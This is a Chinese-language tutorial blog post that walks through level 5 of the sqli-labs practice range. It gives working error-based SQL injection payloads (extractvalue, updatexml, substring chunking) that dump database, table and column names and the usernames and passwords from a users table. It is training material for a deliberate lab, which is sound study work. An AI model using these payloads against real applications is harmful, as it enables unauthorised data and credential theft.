sqli-labs靶场 less5

文章目录


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 ('、"、''、"")
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 5 报错注入

  • 题目类型: 字符型 ' 闭合 (无回显)

id=1

显示 You are in

id=1'

显示报错信息,分析得到闭合方式是单引号

id=1' order by 4--+

报错,说明不存在第4列

id=1' order by 3 --+

正确回显,说明表的字段数为3列

分析该题,可以得到,输入错误语句会显示报错信息,因此我们可以使用报错注入

id=1'and+extractvalue(1,concat(0x7e,(select schema()),0x7e))--+

通过extractvalue函数报错注入得到数据库名

id=1'and+extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,0x7e))--+

报错注入得到表名

id=1'and+extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") ,0x7e))--+

报错注入得到字段名

id=1'and+extractvalue(1,concat(0x7e, (select group_concat(id,"-",username,"-",password) from users) ,0x7e))--+

或者 id=1'and+extractvalue(1,concat(0x7e, (select group_concat(id,"-",username,"-",password) from users) ,0x7e))--+ 推荐

报错注入得到数据


注意: 由于子查询返回的数据太长,但extractvalue函数报错输出字符有长度限制,最长32位,通过substr或者substring 截取获取 ->解决报错注入一次只能回显32字符的问题

id=1'and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,"-",username,"-",password),1,32) from users) ,0x7e))--+

id=1'and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,"-",username,"-",password),31,32) from users) ,0x7e))--+

  • updatexml函数与extractvalue原理相似
    id=1'+and+updatexml(1,concat(0x7e,(select group_concat(id,"-",username,"-",password) from users),0x7e),1)--+

相关推荐
ffqws_2 小时前
MyBatis 动态 SQL 详解:从原理到实战
java·sql·mybatis
其实防守也摸鱼3 小时前
《SQL注入进阶实验:基于sqli-Labs的报错注入(Error-Based Injection)实战解析》
网络·数据库·sql·安全·网络安全·sql注入·报错注入
juniperhan3 小时前
Flink 系列第20篇:Flink SQL 语法全解:从 DDL 到 DML,窗口、聚合、列转行一网打尽
大数据·数据仓库·分布式·sql·flink
Gauss松鼠会4 小时前
GaussDB数据库统计信息自动收集机制
数据库·经验分享·sql·oracle·gaussdb
消失的旧时光-19435 小时前
SQL 怎么学(工程实战总纲|用一套用户模型打穿全流程)
java·数据库·sql
鸽芷咕6 小时前
KingbaseES与Oracle兼容性深度解析:数据类型、内置函数、PL/SQL全面对比
数据库·sql·oracle
小羽网安9 小时前
从零开始学习 sql 注入,常见的 sql 注入解析
数据库·sql·学习
小徐敲java18 小时前
踩坑实录:MySQL8.0 导入SQL报错 2006 - MySQL server has gone away 完美解决
数据库·sql
Carsene1 天前
第一章:为什么我们需要“类型安全”的 SQL DSL 框架?
java·sql
德彪稳坐倒骑驴1 天前
SQL连续登录问题
服务器·数据库·sql